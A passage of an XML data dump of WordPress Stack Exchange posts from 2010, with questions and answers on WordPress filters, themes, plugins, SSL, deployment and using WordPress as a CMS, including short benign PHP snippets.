href=&quot;http://www.linkedin.com/groups?gid=154024&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Group on LinkedIn&lt;/strong&gt;&lt;/a&gt; - for WordPress users, developers, and consultants, to connect, and to share ideas, questions, and contacts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wptavern.com/forum/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Tavern Forum&lt;/strong&gt;&lt;/a&gt; - forum with various sections for discussion including topics such as general WordPress, business, plugins and hacks, resources and tutorials, themes and templates, and troubleshooting.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tech.groups.yahoo.com/group/wpgarage/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Garage&lt;/strong&gt;&lt;/a&gt; - mailing list at Yahoo which provides advice and answers to questions relating to WordPress.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-11T21:48:48.203" LastActivityDate="2010-08-11T21:48:48.203" />
  <row Id="113" PostTypeId="2" ParentId="109" CreationDate="2010-08-11T21:42:47.283" Score="1" ViewCount="" Body="&lt;p&gt;I would send a message to &lt;a href=&quot;http://codex.wordpress.org/Mailing_Lists#Hackers&quot; rel=&quot;nofollow&quot;&gt;wp-hackers&lt;/a&gt;, or create a ticket and submit a patch on the &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress trac&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-11T21:42:47.283" />
  <row Id="114" PostTypeId="2" ParentId="26" CreationDate="2010-08-11T21:43:36.630" Score="2" ViewCount="" Body="&lt;p&gt;There are also a couple of options on Theme Forest, specifically &lt;a href=&quot;http://themeforest.net/item/openhouse-real-estate-premium-wordpress-template/104662&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; caught my eye (has a built in loan calculator and other nifty features, plus it uses the new WP 3.0 post types).&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2010-08-11T21:43:36.630" />
  <row Id="115" PostTypeId="2" ParentId="70" CreationDate="2010-08-11T21:44:26.253" Score="1" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/enhanced-wordpress-contactform/&quot; rel=&quot;nofollow&quot;&gt;Enhanced WP Contact Form&lt;/a&gt; and it works for me, even though it says it only works up until WordPress 2.6 it still works fine for me using WordpPress 3&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2010-08-11T21:44:26.253" />
  <row Id="116" PostTypeId="2" ParentId="1" CreationDate="2010-08-11T21:46:50.233" Score="12" ViewCount="" Body="&lt;p&gt;Line breaks are added by &lt;code&gt;wpautop()&lt;/code&gt;, not &lt;code&gt;wptexturize()&lt;/code&gt;. &lt;code&gt;wpautop()&lt;/code&gt; is also the function that automatically adds paragraph tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're better off fixing the &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;'s than you are replacing the filter. Since &lt;code&gt;wpautop()&lt;/code&gt; runs at priority 10, you can just hook in after that and fix it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'html5_line_breaks', 25 );&#xA;&#xA;function html5_line_breaks( $content ) {&#xA;    return str_replace( '&amp;lt;br /&amp;gt;', '&amp;lt;br&amp;gt;', $content );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit after OP update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress functions are designed to output XHTML. In order to get rid of those trailing slashes site-wide, you're going to have to use an output buffer. You could use a filter similar to the one above to replace slashes in the post contents, but that wouldn't catch your head, sidebar, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit ugly and might have a small impact on performance, but here you go (drop this in a plugin or your theme's &lt;code&gt;functions.php&lt;/code&gt; file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !is_admin() &amp;amp;&amp;amp; ( ! defined('DOING_AJAX') || ( defined('DOING_AJAX') &amp;amp;&amp;amp; ! DOING_AJAX ) ) ) {&#xA;    ob_start( 'html5_slash_fixer' );&#xA;    add_action( 'shutdown', 'html5_slash_fixer_flush' );&#xA;}&#xA;&#xA;function html5_slash_fixer( $buffer ) {&#xA;    return str_replace( ' /&amp;gt;', '&amp;gt;', $buffer );&#xA;}&#xA;&#xA;function html5_slash_fixer_flush() {&#xA;    ob_end_flush();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code says if you're not in the administration area and not doing an AJAX request handling, then start buffering the output through a filter and then using the WordPress shutdown hook, output that buffer.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditorDisplayName="" LastEditDate="2010-08-14T00:56:27.513" LastActivityDate="2010-08-14T00:56:27.513" CommentCount="3" />
  <row Id="117" PostTypeId="2" ParentId="3" CreationDate="2010-08-11T21:47:47.207" Score="4" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; for this and it works great!  Takes a bit of setup, but once it is it works really well and is very customisable.&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2010-08-11T21:47:47.207" CommentCount="1" />
  <row Id="118" PostTypeId="2" ParentId="109" CreationDate="2010-08-11T21:48:14.867" Score="3" ViewCount="" Body="&lt;p&gt;Things will move the quickest if you're willing to do some work on your own.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take some time to write a patch with your proposed hook&lt;/li&gt;&#xA;&lt;li&gt;Post a ticket on the &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Trac&lt;/a&gt; explaining the hook, why it's important, and linking to your patch file.&lt;/li&gt;&#xA;&lt;li&gt;Send a message to &lt;a href=&quot;http://codex.wordpress.org/Mailing_Lists#Hackers&quot; rel=&quot;nofollow&quot;&gt;WP-Hackers&lt;/a&gt; explaining the same and referencing your Trac ticket.&lt;/li&gt;&#xA;&lt;li&gt;Attend the WP development chat on IRC on Thursday - bring the ticket up there as well and ask a core contributer to take a look at it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If your reasoning is well thought-out you might not need to do all 4 ... but just asking for a patch won't get you anywhere unless you're willing (or know someone who is) to write it.  Mentioning it in these three places (Trac, WP-Hackers, IRC) is the best way to involve a core developer and either get it committed to core or get the feedback you need to build a new patch.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T21:48:14.867" CommentCount="2" />
  <row Id="119" PostTypeId="1" AcceptedAnswerId="182" CreationDate="2010-08-11T21:54:41.900" Score="38" ViewCount="4880" Body="&lt;p&gt;I do development on one box and use a second for production. Right now I just dump the database and then do a find a replace for the URL changes; then copy over the files and import the new SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there better ways of doing this?&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-28T17:44:15.853" LastActivityDate="2011-08-30T19:39:39.530" Title="Easily Move a WordPress Install from Development to Production?" Tags="&lt;development&gt;&lt;deploy&gt;&lt;production&gt;&lt;staging&gt;" AnswerCount="15" CommentCount="1" FavoriteCount="54" />
  <row Id="120" PostTypeId="2" ParentId="91" CreationDate="2010-08-11T22:03:41.713" Score="0" ViewCount="" Body="&lt;p&gt;I believe WooThemes build this into their themes (at least the ones I've used) and more and more theme authors are catching on. I agree that it's really the responsibility of the theme to handle SEO, but plugins like the one mentioned are excellent for use in situations where the theme doesn't provide this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the rate that WP theme quality develops in general, I think we'll be seeing a lot of this feature in the future.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2010-08-11T22:03:41.713" />
  <row Id="121" PostTypeId="2" ParentId="82" CreationDate="2010-08-11T22:06:40.930" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.wordpress.org/extend/plugins/wp-hashcash/&quot; rel=&quot;nofollow&quot;&gt;WP HashCash&lt;/a&gt; is money. Between it and Akismet, and some intelligent settings, you'll get very little spam.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-08-11T22:06:40.930" />
  <row Id="122" PostTypeId="2" ParentId="46" CreationDate="2010-08-11T22:06:52.460" Score="9" ViewCount="" Body="&lt;p&gt;Below is everything from WordPress 3.0.1 found in the &lt;code&gt;parse_query()&lt;/code&gt; function of &lt;strong&gt;/wp-includes/query.php&lt;/strong&gt; &lt;code&gt;(lines 1246-1550)&lt;/code&gt;.&lt;br&gt;&#xA;However, it's possible for a plugin to add parameters and so a list can never be fully complete:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;attachment&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;attachment_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;author&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;author_name&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;category__and&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;category__in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;category__not_in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;category_name&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;comments_popup&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;day&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;error&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;feed&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;hour&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;m&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;minute&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;monthnum&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;order&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;orderby&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;p&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;page_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;page&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;paged&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pagename&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;post__in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;post__not_in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;post_status&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;post_type&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;preview&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;robots&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sentence&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;second&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;static&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;subpost&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;subpost_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag__and&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag__in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag__not_in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag_slug__and&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag_slug__in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tag&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy&lt;/code&gt; - (pre 3.1)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tb&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;term&lt;/code&gt; - (pre 3.1)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;w&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;withcomments&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;withoutcomments&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;year&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pre WP 3.1&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;meta_key&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;meta_value&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Since WP 3.1&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fields&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;meta_query&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tax_query&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-07T10:21:35.363" LastActivityDate="2011-03-07T10:21:35.363" CommentCount="12" />
  <row Id="123" PostTypeId="2" ParentId="56" CreationDate="2010-08-11T22:12:06.743" Score="1" ViewCount="" Body="&lt;p&gt;The only way to have a distributed plugin that has a secure license which any halfway decent programmer can't hack is to run the plugin's main functionality on your own server, like Akismet. The user must send a request to your server which contains their license key. If the key checks out, execute the source code on your end and send the results back.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T22:12:06.743" CommentCount="1" />
  <row Id="124" PostTypeId="1" AcceptedAnswerId="138" CreationDate="2010-08-11T22:14:53.153" Score="2" ViewCount="102" Body="&lt;p&gt;I have some options I want my client to be able to change, and so I need an options page for my theme that I can show for those with &quot;editor&quot; status. How can I do this and utilise the options in my pages?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T08:43:33.837" LastActivityDate="2010-08-12T08:43:33.837" Title="How do I create my own admin button and theme settings page?" Tags="&lt;themes&gt;&lt;admin&gt;&lt;options&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="126" PostTypeId="2" ParentId="106" CreationDate="2010-08-11T22:19:55.740" Score="8" ViewCount="" Body="&lt;p&gt;Unfortunately it's not currently possible nor does there appear to be will to consider it as a modification as you can see by this &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-July/thread.html#33458&quot; rel=&quot;nofollow&quot;&gt;recent thread on the wp-hackers list&lt;/a&gt; and &lt;a href=&quot;https://core.trac.wordpress.org/ticket/13118&quot; rel=&quot;nofollow&quot;&gt;this ticket on trac&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd really like to see this be revisited I'd suggest:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Present your case &lt;a href=&quot;http://lists.automattic.com/mailman/listinfo/wp-hackers&quot; rel=&quot;nofollow&quot;&gt;on wp-hackers&lt;/a&gt; but be forewarned your use-case better be good and not &quot;security through obscurity&quot; or it will get shot down as above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Present your argument in &lt;a href=&quot;http://core.trac.wordpress.org/newticket&quot; rel=&quot;nofollow&quot;&gt;a trac ticket&lt;/a&gt; with the same caveats.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even better, upload &lt;a href=&quot;http://asymptomatic.net/2005/12/03/586/how-to-patch-wordpress&quot; rel=&quot;nofollow&quot;&gt;a patch&lt;/a&gt; to trac that enables your desired functionality. It's much harder to say no when the work has already been done (but of course, they do have a preference for saying &quot;no&quot; a lot more often than they say &quot;yes&quot; so be forewarned.) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-11T22:19:55.740" />
  <row Id="127" PostTypeId="1" AcceptedAnswerId="147" CreationDate="2010-08-11T22:26:21.583" Score="2" ViewCount="310" Body="&lt;p&gt;Usually when I create some form of query, I use an array for my arguments like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$postslistArgs = array( &#xA;    'child_of' =&gt; 320,&#xA;    'parent' =&gt; 320&#xA;);                          &#xA;$postslist = get_pages($postslistArgs);&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are other times, however, when I need/want to use URI-style query parameters like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;get_pages('child_of=320&amp;parent=320');&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all straightforward, but is there any way possible to use the URI parameter style on more advance union/intersection queries such as &lt;code&gt;post__not_in&lt;/code&gt; that require an array of IDs?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-27T06:11:20.930" LastActivityDate="2010-09-27T06:11:20.930" Title="Use union/intersection query_posts variables in uri request parameter form?" Tags="&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="128" PostTypeId="1" AcceptedAnswerId="187" CreationDate="2010-08-11T22:26:46.403" Score="45" ViewCount="2977" Body="&lt;p&gt;I want to use WordPress as a CMS for a reasonably basic site rather than a blog.  I have several pages and at the moment, I don't intend to have a &quot;news&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are ways to make this work, the focus in the wp-admin console is clearly on new posts, and creating pages with custom content like maps and galleries feels like I'm working around the system rather than with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions as to using WordPress as a CMS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any good boilerplate themes that are designed around a CMS rather than a blog?&lt;/li&gt;&#xA;&lt;li&gt;Are there any good plugins to help with treating WordPress as a CMS?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, should I be using WordPress at all?&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-06T04:32:46.980" LastActivityDate="2011-06-01T08:18:12.240" CommunityOwnedDate="2010-08-16T11:11:54.063" Title="Tips for using WordPress as a CMS?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;themes&gt;&lt;cms&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="64" />
  <row Id="129" PostTypeId="1" AcceptedAnswerId="135" CreationDate="2010-08-11T22:30:35.183" Score="1" ViewCount="776" Body="&lt;p&gt;I want to force a secure connection on some of my pages (ones with forms), but I don't want the whole site to work with ssl (slows it down)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to configure specific pages to require ssl?&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2010-10-21T16:11:30.643" Title="Is there a way to force ssl on certain pages" Tags="&lt;security&gt;&lt;ssl&gt;&lt;page-specific-settings&gt;&lt;https&gt;" AnswerCount="2" />
  <row Id="130" PostTypeId="2" ParentId="70" CreationDate="2010-08-11T22:31:53.903" Score="4" ViewCount="" Body="&lt;p&gt;Consider using &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;.  It's commercial but only $39 per site and it's one of the best $39 I've ever spent for WordPress development.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-11T22:31:53.903" CommentCount="11" />
  <row Id="131" PostTypeId="2" ParentId="23" CreationDate="2010-08-11T22:32:06.633" Score="4" ViewCount="" Body="&lt;p&gt;All those classes are for hooking into javascript for something like superfish, not because of IE6. That's crazy talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, without a class such as &lt;code&gt;current_page_item&lt;/code&gt;, you wouldn't be able to highlight the current page within the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flexibility is the key. Add all the classes, unique ones for unique items in the list, give the end designer a lot of flexibility in styling. But I do agree, that is a buttload of classes. A decent HTML programmer, designer could do the equivalent with much less code.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-08-11T22:32:06.633" CommentCount="1" />
  <row Id="132" PostTypeId="2" ParentId="91" CreationDate="2010-08-11T22:36:59.033" Score="2" ViewCount="" Body="&lt;p&gt;In response to EAMann:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;means you don't need to worry about&#xA;  upgrades potentially breaking your&#xA;  site if they introduce new bugs that&#xA;  conflict with other systems you're&#xA;  using&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you DON'T use a plugin, you potentially risk the complete loss of functionality when you change your theme. If you use AIO, or Headspace, you can change your themes without fear of losing your valuable title and description tags that you so carefully (hopefully) created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also save the meta data in a unique custom field, such as &lt;code&gt;_aiodescription&lt;/code&gt; so that other plugins won't step on its toes. Most custom themes with SEO meta panels added in store the value with a generic &lt;code&gt;description&lt;/code&gt; post meta key that can get weird if other plugins use the same key.&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-08-11T23:06:37.023" LastActivityDate="2010-08-11T23:06:37.023" CommentCount="3" />
  <row Id="133" PostTypeId="2" ParentId="128" CreationDate="2010-08-11T22:41:09.293" Score="3" ViewCount="" Body="&lt;p&gt;Firstly, WordPress is still great for small(ish) sites whether or not they make use of a blog section. It's easy to use, easy to find help with, and of course there's the scope for easily adding a blog if it's needed in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to set up a gallery you have a few options. You can use the &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;built-in gallery&lt;/a&gt; as it is, use the built-in gallery but install &lt;a href=&quot;http://wordpress.org/extend/plugins/photo-galleria/&quot; rel=&quot;nofollow&quot;&gt;a plugin&lt;/a&gt; or &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;edit your theme&lt;/a&gt; to format it differently, or you can use a totally seperate &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;gallery plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively there are a lot of themes out there geared towards a certain type of site, be it portfolio or photography or whatever sort of site you're looking for. I'd recommend a look around places like Theme Forest.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2010-08-11T22:41:09.293" />
  <row Id="134" PostTypeId="2" ParentId="128" CreationDate="2010-08-11T22:41:36.437" Score="3" ViewCount="" Body="&lt;p&gt;I sympathise. In fact, I asked a &lt;a href=&quot;http://webmasters.stackexchange.com/questions/1850/how-do-i-represent-chunks-of-content-within-wordpress&quot;&gt;related question over on webmasters&lt;/a&gt;. I'm not sure about themes or plugins, but there are some useful links there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still at the early stages of using Wordpress as a CMS, but my advice so far, for what it's worth, is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read as much of the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/&quot; rel=&quot;nofollow&quot;&gt;function reference&lt;/a&gt; as you can, in order to really understand some of the inner workings of wordpress&lt;/li&gt;&#xA;&lt;li&gt;Explore custom posts and custom fields&lt;/li&gt;&#xA;&lt;li&gt;Understand that you can do quite a bit just by including Pages - just as you would in any CMS or basic system in which content is shared&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-08-11T22:41:36.437" />
  <row Id="135" PostTypeId="2" ParentId="129" CreationDate="2010-08-11T22:42:11.100" Score="2" ViewCount="" Body="&lt;p&gt;Use the admin-ssl plugin. For stuff outside of wp, use rewriite rule in apache&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2010-08-11T22:42:11.100" CommentCount="2" />
  <row Id="136" PostTypeId="1" AcceptedAnswerId="153" CreationDate="2010-08-11T22:44:13.110" Score="2" ViewCount="776" Body="&lt;p&gt;How can I instruct wordpress to use a filename other than 'styles.css' for my main stylesheet - for example, styles-1.css? I'd like to do this for versioning and caching purposes. &lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T08:44:09.250" LastActivityDate="2010-08-27T15:45:53.607" Title="How can I version the main CSS file?" Tags="&lt;themes&gt;&lt;stylesheet&gt;" AnswerCount="6" FavoriteCount="2" />
  <row Id="137" PostTypeId="1" AcceptedAnswerId="1380" CreationDate="2010-08-11T22:45:29.850" Score="3" ViewCount="472" Body="&lt;p&gt;I've recently upgraded to WordPress 3.0, and am having a lot of problems with the autocomplete function when editing posts via 'quick edit' (e.g. /wp-admin/edit.php) - for example, editing tags. The autocomplete box often obscures the textbox I'm trying to enter text into, and sometimes gets 'left behind' once the 'update' button has been clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable the autocomplete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, this is a &lt;em&gt;Wordpress&lt;/em&gt; autocomplete feature, not a &lt;em&gt;browser-based&lt;/em&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks as if I need to remove the 'suggest' argument to &quot;load-scripts.php&quot;, referenced at the bottom of each admin page like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&#xA;  src='http://www.example.com/path/to/wordpress/wp-admin/load-scripts.php?c=1&amp;amp;amp;load=hoverIntent,common,jquery-color,suggest,inline-edit-post'&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems to be generated by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('admin_print_footer_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I lose the code trail at that point - anyone?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="119" LastEditorDisplayName="" LastEditDate="2010-09-03T15:05:17.233" LastActivityDate="2010-09-05T13:31:46.070" Title="Can I disable the autocomplete?" Tags="&lt;3.0&gt;&lt;autocomplete&gt;" AnswerCount="4" CommentCount="4" />
  <row Id="138" PostTypeId="2" ParentId="124" CreationDate="2010-08-11T22:56:29.490" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/how-to-create-a-better-wordpress-options-panel/&quot; rel=&quot;nofollow&quot;&gt;This tutorial&lt;/a&gt; is pretty awesome for explaining the basics, and you end up with a nicely styled options panel at the end of it too. There are a few such tutorials around, it's surprisingly easy to get the hang of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never tried it but you should be able to add a bit of PHP checking whether the current user has a high enough permission level and displaying an error message if not, or just to stop it from adding the link to the options page in the first place. Best to get familiar with how to actually build the page first, however.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2010-08-11T22:56:29.490" CommentCount="1" />
  <row Id="139" PostTypeId="2" ParentId="119" CreationDate="2010-08-11T22:59:11.250" Score="4" ViewCount="" Body="&lt;p&gt;I am personally addressing this issue with my project on Github, called Autopress. I don't have a perfect solution yet, but I'm getting closer, especially with the wpstage plugin from the wpengine folks. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-11T22:59:11.250" CommentCount="6" />
